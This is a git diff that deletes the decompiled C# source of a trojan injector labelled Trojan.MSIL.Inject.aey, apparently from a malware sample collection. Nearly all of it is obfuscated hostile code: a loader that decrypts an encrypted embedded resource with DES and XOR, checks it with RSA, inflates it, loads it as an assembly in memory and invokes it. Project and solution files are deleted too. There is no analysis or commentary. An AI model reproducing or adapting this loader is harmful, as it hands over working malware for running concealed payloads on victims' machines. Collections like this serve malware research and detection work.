goto label_2; - } - } -label_9:; - } - - public static MemoryStream \uE000(Stream _param0) - { - BinaryReader binaryReader1 = new BinaryReader(_param0); - DESCryptoServiceProvider cryptoServiceProvider1 = new DESCryptoServiceProvider(); - bool flag1 = binaryReader1.ReadBoolean(); - int count1 = (int) binaryReader1.ReadUInt16(); - byte[] buffer1 = new byte[count1]; - binaryReader1.Read(buffer1, 0, count1); - if ((!flag1 ? 1 : 0) == 0) - { - byte[] buffer2 = new byte[8]; - binaryReader1.Read(buffer2, 0, 8); - for (int index = 0; index < count1; ++index) - buffer1[index] = (byte) ((uint) buffer1[index] ^ (uint) buffer2[index % 8]); - } - BinaryReader binaryReader2 = new BinaryReader((Stream) new MemoryStream(buffer1, false)); -label_6: - int num = 7; - int count2; - int count3; - bool flag2; - byte[] numArray; - byte[] buffer3; - bool flag3; - while (true) - { - switch (num) - { - case 0: - count2 = (int) binaryReader2.ReadByte(); - num = 3; - continue; - case 1: - count3 = (int) binaryReader2.ReadByte(); - num = 8; - continue; - case 2: - flag2 = binaryReader2.ReadBoolean(); - num = 0; - continue; - case 3: - numArray = new byte[count2]; - num = 4; - continue; - case 4: - if (flag2) - { - num = 10; - continue; - } - goto label_19; - case 5: - binaryReader2.Read(buffer3, 0, count3); - num = 6; - continue; - case 6: - cryptoServiceProvider1.IV = buffer3; - num = 2; - continue; - case 7: - binaryReader2.ReadString(); - num = 9; - continue; - case 8: - buffer3 = new byte[count3]; - num = 5; - continue; - case 9: - flag3 = binaryReader2.ReadBoolean(); - num = 1; - continue; - case 10: - goto label_18; - default: - goto label_6; - } - } -label_18: - binaryReader2.Read(numArray, 0, count2); -label_19: - RSACryptoServiceProvider cryptoServiceProvider2 = (RSACryptoServiceProvider) null; - int count4 = binaryReader2.ReadInt32(); - byte[] buffer4 = new byte[count4]; - binaryReader2.Read(buffer4, 0, count4); - if (!flag2) - { - byte[] publicKey = Assembly.GetExecutingAssembly().GetName().GetPublicKey(); - if (publicKey == null || publicKey.Length != 160) - throw new InvalidOperationException(); - Buffer.BlockCopy((Array) publicKey, 12, (Array) numArray, 0, count2); - numArray[5] |= (byte) 128; - cryptoServiceProvider2 = new RSACryptoServiceProvider(); - cryptoServiceProvider2.ImportParameters(\uE010.\uE003(publicKey)); - } - cryptoServiceProvider1.Key = numArray; - MemoryStream memoryStream = new MemoryStream(); - using (CryptoStream cryptoStream = new CryptoStream(binaryReader1.BaseStream, cryptoServiceProvider1.CreateDecryptor(), CryptoStreamMode.Read)) - { - if (flag3) - \uE00E.\uE000((Stream) cryptoStream, (Stream) memoryStream); - else - \uE010.\uE002((Stream) cryptoStream, (Stream) memoryStream); - } - if (cryptoServiceProvider2 != null) - { - memoryStream.Position = 0L; - if (!\uE010.\uE005(cryptoServiceProvider2, (Stream) memoryStream, buffer4)) - throw new InvalidOperationException(); - } - memoryStream.Position = 0L; - return memoryStream; - } - - private static byte[] \uE001(byte[] _param0, int _param1, int _param2) - { - if ((_param0 == null ? 1 : 0) == 0) - { -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - if (_param0.Length < _param1 + _param2) - { - num = 1; - continue; - } - goto label_6; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_6: - byte[] destinationArray = new byte[_param2]; - Array.Copy((Array) _param0, _param1, (Array) destinationArray, 0, _param2); - return destinationArray; - } -label_5: - return (byte[]) null; - } - - private static void \uE002(Stream _param0, Stream _param1) - { - byte[] buffer = new byte[4096]; - while (true) - { - int count = _param0.Read(buffer, 0, buffer.Length); - if ((count <= 0 ? 0 : 1) != 0) - _param1.Write(buffer, 0, count); - else - break; - } - } - - private static RSAParameters \uE003(byte[] _param0) - { - bool flag = _param0.Length == 160; - if ((!flag ? 1 : 0) == 0 && !\uE010.\uE004(_param0, \uE010.\uE003, 20)) - return new RSAParameters(); - if (!flag && !\uE010.\uE004(_param0, \uE010.\uE004, 8)) - return new RSAParameters(); - RSAParameters rsaParameters = new RSAParameters(); - int num1 = (flag ? 20 : 8) + 8; - int num2 = 4; - rsaParameters.Exponent = \uE010.\uE001(_param0, num1, num2); - Array.Reverse((Array) rsaParameters.Exponent); - int num3 = num1 + num2; - int num4 = 128; - rsaParameters.Modulus = \uE010.\uE001(_param0, num3, num4); - Array.Reverse((Array) rsaParameters.Modulus); - if (flag) - return rsaParameters; - int num5 = num3 + num4; -label_8: - int num6 = 14; - while (true) - { - switch (num6) - { - case 0: - rsaParameters.P = \uE010.\uE001(_param0, num5, num4); - num6 = 12; - continue; - case 1: - rsaParameters.DQ = \uE010.\uE001(_param0, num5, num4); - num6 = 6; - continue; - case 2: - num5 += num4; - num6 = 15; - continue; - case 3: - rsaParameters.D = \uE010.\uE001(_param0, num5, num4); - num6 = 10; - continue; - case 4: - num5 += num4; - num6 = 7; - continue; - case 5: - rsaParameters.InverseQ = \uE010.\uE001(_param0, num5, num4); - num6 = 9; - continue; - case 6: - Array.Reverse((Array) rsaParameters.DQ); - num6 = 2; - continue; - case 7: - num4 = 64; - num6 = 1; - continue; - case 8: - num4 = 64; - num6 = 17; - continue; - case 9: - Array.Reverse((Array) rsaParameters.InverseQ); - num6 = 13; - continue; - case 10: - Array.Reverse((Array) rsaParameters.D); - num6 = 23; - continue; - case 11: - Array.Reverse((Array) rsaParameters.DP); - num6 = 4; - continue; - case 12: - Array.Reverse((Array) rsaParameters.P); - num6 = 16; - continue; - case 13: - num5 += num4; - num6 = 19; - continue; - case 14: - num4 = 64; - num6 = 0; - continue; - case 15: - num4 = 64; - num6 = 5; - continue; - case 16: - num5 += num4; - num6 = 21; - continue; - case 17: - rsaParameters.DP = \uE010.\uE001(_param0, num5, num4); - num6 = 11; - continue; - case 18: - rsaParameters.Q = \uE010.\uE001(_param0, num5, num4); - num6 = 20; - continue; - case 19: - num4 = 128; - num6 = 3; - continue; - case 20: - Array.Reverse((Array) rsaParameters.Q); - num6 = 22; - continue; - case 21: - num4 = 64; - num6 = 18; - continue; - case 22: - num5 += num4; - num6 = 8; - continue; - case 23: - goto label_32; - default: - goto label_8; - } - } -label_32: - return rsaParameters; - } - - private static bool \uE004(byte[] _param0, byte[] _param1, int _param2) - { - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_7; - else - goto label_2; -label_1: - int num; - switch (num) - { - case 0: - goto label_3; - case 1: - return false; - } -label_2: - num = 0; - goto label_1; -label_3: - if ((int) _param0[index + _param2] != (int) _param1[index]) - { - num = 1; - goto label_1; - } - else - ++index; -label_7: - if (index >= _param1.Length) - return true; - goto label_3; - } - - private static bool \uE005(RSACryptoServiceProvider _param0, Stream _param1, byte[] _param2) - { - SHA1CryptoServiceProvider cryptoServiceProvider = new SHA1CryptoServiceProvider(); -label_2: - int num = 0; - byte[] hash; - string name; - while (true) - { - switch (num) - { - case 0: - hash = cryptoServiceProvider.ComputeHash(_param1); - num = 3; - continue; - case 1: - name += (string) (object) 'A'; - num = 4; - continue; - case 2: - name += (string) (object) 'H'; - num = 1; - continue; - case 3: - name = new string('S', 1); - num = 2; - continue; - case 4: - name += (string) (object) '1'; - num = 5; - continue; - case 5: - goto label_8; - default: - goto label_2; - } - } -label_8: - return _param0.VerifyHash(hash, CryptoConfig.MapNameToOID(name), _param2); - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/AssemblyInfo.cs deleted file mode 100644 index ce21b9bb..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/AssemblyInfo.cs +++ /dev/null @@ -1,5 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; - -[assembly: SuppressIldasm] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/Trojan.MSIL.Inject.aey.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/Trojan.MSIL.Inject.aey.csproj deleted file mode 100644 index 7679489b..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/Trojan.MSIL.Inject.aey.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {86891AEE-6A9A-4C02-8B63-A57C28DC0D11} - WinExe - Monkey - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/Trojan.MSIL.Inject.aey.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/Trojan.MSIL.Inject.aey.sln deleted file mode 100644 index 5b17a0e9..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/Trojan.MSIL.Inject.aey.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Monkey", "Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.csproj", "{86891AEE-6A9A-4C02-8B63-A57C28DC0D11}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {86891AEE-6A9A-4C02-8B63-A57C28DC0D11}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {86891AEE-6A9A-4C02-8B63-A57C28DC0D11}.Debug|Any CPU.Build.0 = Debug|Any CPU - {86891AEE-6A9A-4C02-8B63-A57C28DC0D11}.Release|Any CPU.ActiveCfg = Release|Any CPU - {86891AEE-6A9A-4C02-8B63-A57C28DC0D11}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/_003C.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/_003C.cs deleted file mode 100644 index 374946a2..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/_003C.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: < -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -internal sealed class \u003C -{ -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index 2f0a8a2c..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Reflection; - -[StandardModule] -internal sealed class \uE000 -{ - static \uE000() => \uE008.\uE000(); - - [STAThread] - public static void Main() - { - Assembly assembly = (Assembly) Assembly.Load(.\uE004).GetType(.\uE002 + .\uE007 + .\uE003).GetMethod(.\uE005).Invoke((object) .\uE006, new object[0]); - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index 4840f764..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,498 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -using System; -using System.IO; -using System.Reflection; -using System.Threading; - -internal sealed class \uE008 -{ - private static Assembly \uE000; - private static object \uE001 = new object(); - private static int \uE002; - private static string[] \uE003; - - public static void \uE000() - { - if ((\uE008.\uE002 == 0 ? 0 : 1) != 0) - return; - try - { - Monitor.Enter(\uE008.\uE001); - if ((\uE008.\uE002 == 0 ? 0 : 1) != 0) - return; -label_19: - int num1 = -226195680; - int num2 = -561798657; -label_3: - while (true) - { - num2 ^= 555203725; -label_11: - int num3 = 968784119; - int num4 = -376123481; -label_5: - while (true) - { - num4 ^= 370221929; -label_7: - int num5 = 169643759; - while (true) - { - switch (num5 ^ 170977803) - { - case 2909411: -label_8: - num4 = -376123484; - num5 = 169643758; - continue; - case 2909412: - switch (num4 + 8000308) - { - case 0: - goto label_11; - case 1: - switch (num3) - { - case 1949493: -label_14: - num2 = -561798659; - num3 = 968784118; - goto label_4; - case 1949494: - switch (num2 + 7070352) - { - case 0: - switch (num1 + 5290868) - { - case 0: - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\uE008.\uE001); - num1 = -226195679; - goto label_2; - case 1: - goto label_22; - default: - goto label_18; - } - case 1: - goto label_19; - case 2: -label_2: - num1 ^= 220971948; - goto label_14; - default: - num3 = 968784116; - goto label_4; - } - case 1949495: - goto label_3; - default: - goto label_13; - } - case 2: -label_4: - num3 ^= 967034817; - goto label_8; - default: - num5 = 169643752; - continue; - } - case 2909413: - goto label_5; - default: - goto label_7; - } - } -label_13: - num4 = -376123483; - } -label_18: - num2 = -561798660; - } -label_22: - \uE008.\uE002 = 1; - } - finally - { - Monitor.Exit(\uE008.\uE001); - } - } - - public static string \uE000 => "ed404015d077ea06"; - - public static Assembly \uE001(object _param0, ResolveEventArgs _param1) - { - if ((\uE008.\uE003 == null ? 0 : 1) == 0) - { - try - { - Monitor.Enter(\uE008.\uE001); - if ((\uE008.\uE003 == null ? 0 : 1) == 0) - { -label_15: - int num1 = 1319863694; - int num2 = -1247360233; -label_3: - Stream manifestResourceStream; - while (true) - { - num2 ^= 1242423639; -label_7: - int num3 = 1536961512; - int num4 = -942752411; - while (true) - { - switch ((num4 ^ 946906395) + 4319108) - { - case 0: - goto label_7; - case 1: - switch (num3) - { - case 2222797: -label_10: - num2 = -1247360152; - num3 = 1536961513; - goto label_4; - case 2222798: - switch (num2 + 5559746) - { - case 0: - goto label_15; - case 1: - switch (num1) - { - case 3571212: - manifestResourceStream = typeof (\uE008).Assembly.GetManifestResourceStream(\uE008.\uE000); - num1 = 1319863695; - goto label_2; - case 3571213: - if (manifestResourceStream != null) - { - num1 = 1319863692; - goto label_2; - } - else - goto label_22; - case 3571214: - goto label_21; - default: - goto label_17; - } - case 2: -label_2: - num1 ^= 1318976386; - goto label_10; - default: -label_13: - int num5 = 357788384; - while (true) - { - switch (num5 ^ 357216823) - { - case 1693911: - num3 = 1536961515; - num5 = 357788399; - continue; - case 1693912: - goto label_4; - default: - goto label_13; - } - } - } - case 2222799: - goto label_3; - default: - num4 = -942752409; - continue; - } - case 2: -label_4: - num3 ^= 1539162406; - break; - } - num4 = -942752410; - } -label_17: - num2 = -1247360151; - } -label_21: - int num6 = 0; - goto label_23; -label_22: - num6 = 1; -label_23: - if (num6 == 0) - \uE008.\uE000 = \uE008.\uE002(manifestResourceStream); - } - } - finally - { - Monitor.Exit(\uE008.\uE001); - } - } - return (!\uE008.\uE003(_param1.Name) ? 1 : 0) == 0 ? \uE008.\uE000 : (Assembly) null; - } - - private static Assembly \uE002(Stream _param0) - { - MemoryStream input = \uE010.\uE000(_param0); - BinaryReader binaryReader = new BinaryReader((Stream) input); -label_2: - int num1 = -976949257; - int length; - int index; - string[] strArray; - while (true) - { - switch ((num1 ^ 979141528) + 6787986) - { - case 0: - strArray = new string[length]; - num1 = -976949272; - continue; - case 1: - length = binaryReader.ReadInt32(); - num1 = -976949258; - continue; - case 2: - index = 0; - num1 = -976949271; - continue; - case 3: - if (index != 0) - { - num1 = -976949270; - continue; - } - goto label_9; - case 4: - goto label_8; - default: - goto label_2; - } - } -label_8: - int num2 = 0; - goto label_10; -label_9: - num2 = 1; -label_10: - if (num2 != 0) - goto label_12; -label_11: - strArray[index] = binaryReader.ReadString(); - ++index; -label_12: - if ((index >= length ? 0 : 1) == 0) - { - \uE008.\uE003 = strArray; -label_25: - int num3 = -143477510; - int num4 = -1430655755; -label_15: - byte[] numArray; - while (true) - { - num4 ^= 1426872453; -label_19: - int num5 = -80790779; - int num6 = -1051659499; - while (true) - { - switch ((num6 ^ 1053901982) + 8276087) - { - case 0: - goto label_19; - case 1: - switch (num5 + 7895701) - { - case 0: -label_22: - num4 = -1430655766; - num5 = -80790780; - goto label_16; - case 1: - switch (num4 + 4869010) - { - case 0: - goto label_25; - case 1: - int count; - switch (num3 + 4299732) - { - case 0: - numArray = new byte[count]; - num3 = -143477511; - goto label_14; - case 1: - binaryReader.Read(numArray, 0, count); - num3 = -143477509; - goto label_14; - case 2: - count = (int) (input.Length - input.Position); - num3 = -143477512; - goto label_14; - case 3: - goto label_31; - default: - goto label_27; - } - case 2: -label_14: - num3 ^= 147640532; - goto label_22; - default: - num5 = -80790782; - goto label_16; - } - case 2: - goto label_15; - default: - num6 = -1051659497; - continue; - } - case 2: -label_16: - num5 ^= 78167657; - break; - } - num6 = -1051659500; - } -label_27: - num4 = -1430655765; - } -label_31: - return Assembly.Load(numArray); - } - goto label_11; - } - - private static bool \uE003(string _param0) - { - if ((\uE008.\uE003 == null ? 1 : 0) == 0) - { -label_6: - int num1 = 1477415917; - int num2 = 601725783; - int index; - string[] strArray; - while (true) - { - switch (num2 ^ 602759493) - { - case 3209744: - switch (num1) - { - case 3757452: - if (index != 0) - { - num1 = 1477415916; - goto label_1; - } - else - goto label_12; - case 3757453: - index = 0; - num1 = 1477415919; - goto label_1; - case 3757454: - strArray = \uE008.\uE003; - num1 = 1477415918; - goto label_1; - case 3757455: - goto label_11; - default: - num2 = 601725780; - continue; - } - case 3209745: - goto label_6; - case 3209746: -label_1: - num1 ^= 1479984739; - break; - } - num2 = 601725781; - } -label_11: - int num3 = 0; - goto label_13; -label_12: - num3 = 1; -label_13: - if (num3 != 0) - goto label_27; -label_14: - string str = strArray[index]; - if ((!_param0.Equals(str) ? 1 : 0) == 0) - { -label_22: - int num4 = -311275153; - int num5 = 878119074; -label_16: - bool flag; - while (true) - { - num5 ^= 880632524; -label_18: - int num6 = -433645422; - while (true) - { - switch ((num6 ^ 431101690) + 7008665) - { - case 0: -label_19: - num5 = 878119073; - num6 = -433645421; - continue; - case 1: - switch (num5) - { - case 2779756: - goto label_22; - case 2779757: - switch (num4 + 4671099) - { - case 0: - flag = true; - num4 = -311275156; - goto label_15; - case 1: - goto label_29; - default: - goto label_24; - } - case 2779758: -label_15: - num4 ^= 315287786; - goto label_19; - default: - num6 = -433645411; - continue; - } - case 2: - goto label_16; - default: - goto label_18; - } - } -label_24: - num5 = 878119072; - } -label_29: - return flag; - } - ++index; -label_27: - if ((index >= strArray.Length ? 0 : 1) != 0) - goto label_14; - } - return false; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index 48dfdc24..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -using System.IO; -using System.Reflection; - -internal sealed class \uE009 -{ - public static string \uE000(string _param0, int _param1) => string.Intern(\uE009.\uE000.\uE000.\uE000(_param0, _param1)); - - public static string \uE000 => "84785c03fc20bf7c"; - - private sealed class \uE000 - { - public static readonly \uE009.\uE000 \uE000; - private byte[] \uE001; - - static \uE000() - { - \uE008.\uE000(); - \uE009.\uE000.\uE000 = new \uE009.\uE000(); - } - - private \uE000() - { - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(\uE009.\uE000); - if (manifestResourceStream == null) - return; - this.\uE001 = new byte[256]; - manifestResourceStream.Read(this.\uE001, 0, this.\uE001.Length); - } - - public string \uE000(string _param1, int _param2) - { - int length = _param1.Length; - int index = _param2 & (int) byte.MaxValue; - char[] charArray = _param1.ToCharArray(); - while (--length >= 0) - charArray[length] = (char) ((uint) charArray[length] ^ ((uint) this.\uE001[index] | (uint) _param2)); - return string.Intern(new string(charArray)); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index 18c16395..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,1058 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -using System; -using System.Collections; - -internal sealed class \uE00A -{ - internal const int \uE000 = 32768; - internal const int \uE001 = 258; - internal const int \uE002 = 285; - internal const int \uE003 = 287; - internal const int \uE004 = 29; - internal const int \uE005 = 31; - internal const int \uE006 = 15; - internal const int \uE007 = 256; - internal const int \uE008 = 0; - internal const int \uE009 = 1; - internal const int \uE00A = 2; - internal const int \uE00B = 16; - internal const int \uE00C = 18; - internal const int \uE00D = 16; - internal const int \uE00E = 17; - internal const int \uE00F = 18; - private const int \uE010 = 257; - internal static \uE00B[] \uE011 = new \uE00B[288]; - internal static \uE00B[] \uE012; - internal static \uE00D \uE013; - internal static readonly int[] \uE014; - internal static readonly int[] \uE015; - internal static readonly int[] \uE016; - internal static readonly int[] \uE017; - internal static readonly int[] \uE018; - - static \uE00A() - { -label_2: - int num1 = 46; - int num2; - int index1; - while (true) - { - switch (num1) - { - case 0: - \uE00A.\uE015 = new int[29]; - num1 = 53; - continue; - case 1: - if (num2 != 0) - { - num1 = 54; - continue; - } - goto label_59; - case 2: - \uE00A.\uE015[12] = 19; - num1 = 29; - continue; - case 3: - \uE00A.\uE015[20] = 67; - num1 = 24; - continue; - case 4: - \uE00A.\uE014[17] = 1; - num1 = 36; - continue; - case 5: - \uE00A.\uE014[10] = 11; - num1 = 14; - continue; - case 6: - index1 = 8; - num1 = 40; - continue; - case 7: - \uE00A.\uE015[23] = 115; - num1 = 38; - continue; - case 8: - \uE00A.\uE014[15] = 2; - num1 = 25; - continue; - case 9: - \uE00A.\uE015[25] = 163; - num1 = 10; - continue; - case 10: - \uE00A.\uE015[26] = 195; - num1 = 35; - continue; - case 11: - \uE00A.\uE015[11] = 17; - num1 = 2; - continue; - case 12: - \uE00A.\uE014[8] = 10; - num1 = 30; - continue; - case 13: - \uE00A.\uE015[22] = 99; - num1 = 7; - continue; - case 14: - \uE00A.\uE014[11] = 4; - num1 = 22; - continue; - case 15: - \uE00A.\uE016 = new int[29]; - num1 = 6; - continue; - case 16: - \uE00A.\uE015[17] = 43; - num1 = 41; - continue; - case 17: - \uE00A.\uE014[1] = 17; - num1 = 43; - continue; - case 18: - \uE00A.\uE015[6] = 9; - num1 = 42; - continue; - case 19: - \uE00A.\uE014[14] = 13; - num1 = 8; - continue; - case 20: - \uE00A.\uE014[5] = 7; - num1 = 50; - continue; - case 21: - \uE00A.\uE015[15] = 31; - num1 = 51; - continue; - case 22: - \uE00A.\uE014[12] = 12; - num1 = 44; - continue; - case 23: - \uE00A.\uE014[7] = 6; - num1 = 12; - continue; - case 24: - \uE00A.\uE015[21] = 83; - num1 = 13; - continue; - case 25: - \uE00A.\uE014[16] = 14; - num1 = 4; - continue; - case 26: - \uE00A.\uE015[2] = 5; - num1 = 47; - continue; - case 27: - \uE00A.\uE015[1] = 4; - num1 = 26; - continue; - case 28: - \uE00A.\uE015[8] = 11; - num1 = 48; - continue; - case 29: - \uE00A.\uE015[13] = 23; - num1 = 34; - continue; - case 30: - \uE00A.\uE014[9] = 5; - num1 = 5; - continue; - case 31: - \uE00A.\uE015[10] = 15; - num1 = 11; - continue; - case 32: - \uE00A.\uE015[4] = 7; - num1 = 49; - continue; - case 33: - \uE00A.\uE014[4] = 8; - num1 = 20; - continue; - case 34: - \uE00A.\uE015[14] = 27; - num1 = 21; - continue; - case 35: - \uE00A.\uE015[27] = 227; - num1 = 52; - continue; - case 36: - \uE00A.\uE014[18] = 15; - num1 = 0; - continue; - case 37: - \uE00A.\uE014 = new int[19]; - num1 = 45; - continue; - case 38: - \uE00A.\uE015[24] = 131; - num1 = 9; - continue; - case 39: - \uE00A.\uE015[19] = 59; - num1 = 3; - continue; - case 40: - num2 = 0; - num1 = 1; - continue; - case 41: - \uE00A.\uE015[18] = 51; - num1 = 39; - continue; - case 42: - \uE00A.\uE015[7] = 10; - num1 = 28; - continue; - case 43: - \uE00A.\uE014[2] = 18; - num1 = 33; - continue; - case 44: - \uE00A.\uE014[13] = 3; - num1 = 19; - continue; - case 45: - \uE00A.\uE014[0] = 16; - num1 = 17; - continue; - case 46: - \uE00A.\uE012 = new \uE00B[32]; - num1 = 37; - continue; - case 47: - \uE00A.\uE015[3] = 6; - num1 = 32; - continue; - case 48: - \uE00A.\uE015[9] = 13; - num1 = 31; - continue; - case 49: - \uE00A.\uE015[5] = 8; - num1 = 18; - continue; - case 50: - \uE00A.\uE014[6] = 9; - num1 = 23; - continue; - case 51: - \uE00A.\uE015[16] = 35; - num1 = 16; - continue; - case 52: - \uE00A.\uE015[28] = 258; - num1 = 15; - continue; - case 53: - \uE00A.\uE015[0] = 3; - num1 = 27; - continue; - case 54: - goto label_58; - default: - goto label_2; - } - } -label_58: - int num3 = 0; - goto label_60; -label_59: - num3 = 1; -label_60: - if (num3 != 0) - goto label_64; -label_61: - if (index1 % 4 == 0) - ++num2; - \uE00A.\uE016[index1] = num2; - ++index1; -label_64: - if (index1 >= 28) - { - \uE00A.\uE017 = new int[30]; - \uE00A.\uE017[0] = 1; - \uE00A.\uE017[1] = 2; - \uE00A.\uE017[2] = 3; - \uE00A.\uE017[3] = 4; - \uE00A.\uE017[4] = 5; - \uE00A.\uE017[5] = 7; - \uE00A.\uE017[6] = 9; - \uE00A.\uE017[7] = 13; - \uE00A.\uE017[8] = 17; - \uE00A.\uE017[9] = 25; - \uE00A.\uE017[10] = 33; - \uE00A.\uE017[11] = 49; - \uE00A.\uE017[12] = 65; - \uE00A.\uE017[13] = 97; - \uE00A.\uE017[14] = 129; - \uE00A.\uE017[15] = 193; - \uE00A.\uE017[16] = 257; - \uE00A.\uE017[17] = 385; - \uE00A.\uE017[18] = 513; - 